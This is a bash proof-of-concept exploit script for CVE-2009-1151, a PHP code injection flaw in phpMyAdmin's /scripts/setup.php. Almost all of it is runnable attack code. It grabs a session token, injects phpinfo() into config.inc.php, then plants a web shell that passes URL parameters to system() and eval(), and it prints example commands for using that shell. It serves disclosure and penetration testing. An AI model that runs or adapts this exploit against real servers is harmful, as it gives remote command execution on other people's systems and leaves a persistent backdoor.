phpMyAdmin /scripts/setup.php Code Injection

`#!/bin/bash  
  
# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11  
# by pagvac (gnucitizen.org), 4th June 2009.  
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,   
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!  
  
# PoC script successfully tested on the following targets:  
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1  
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)  
  
# attack requirements:  
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5  
# and 3.x before 3.1.3.1 according to PMASA-2009-3  
# 2) it *seems* this vuln can only be exploited against environments  
# where the administrator has chosen to install phpMyAdmin following  
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx  
# 3) administrator must have NOT deleted the '/config/' directory  
# within the '/phpMyAdmin/' directory. this is because this directory is  
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where  
# our evil PHP code is injected 8)  
  
# more info on:  
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php  
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/  
  
if [[ $# -ne 1 ]]  
then  
echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"  
echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"  
exit  
fi  
  
if ! which curl >/dev/null  
then  
echo "sorry but you need curl for this script to work!"  
echo "on Debian/Ubuntu: sudo apt-get install curl"  
exit  
fi  
  
  
function exploit {  
  
postdata="token=$1&action=save&configuration="\  
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\  
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\  
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\  
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\  
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"  
  
postdata2="token=$1&action=save&configuration=a:1:"\  
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\  
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\  
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\  
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\  
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\  
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\  
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\  
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\  
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"  
  
flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"  
  
echo "[+] attempting to inject phpinfo() ..."  
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null  
  
if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null  
then  
curl -ks --url "$3/config/config.inc.php" >$flag   
echo "[+] success! phpinfo() injected successfully! output saved on $flag"  
curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null  
echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"  
echo " $3/config/config.inc.php?c=ls+-l+/"  
echo " $3/config/config.inc.php?p=phpinfo();"  
echo " please send any feedback/improvements for this script to"\  
"unknown.pentester<AT_sign__here>gmail.com"  
else  
echo "[+] no luck injecting to $3/config/config.inc.php :("  
exit  
fi  
}  
# end of exploit function  
  
cookiejar="/tmp/$(basename $0).$RANDOM.txt"  
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`  
echo "[+] checking if phpMyAdmin exists on URL provided ..."  
  
#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null  
if grep phpMyAdmin $cookiejar &>/dev/null  
then  
length=`echo -n $token | wc -c`  
  
# valid form token obtained?  
if [[ $length -eq 32 ]]  
then  
echo "[+] phpMyAdmin cookie and form token received successfully. Good!"  
# attempt exploit!  
exploit $token $cookiejar $1  
else  
echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("  
exit  
fi  
else  
echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"  
exit  
fi  
  
  
  
`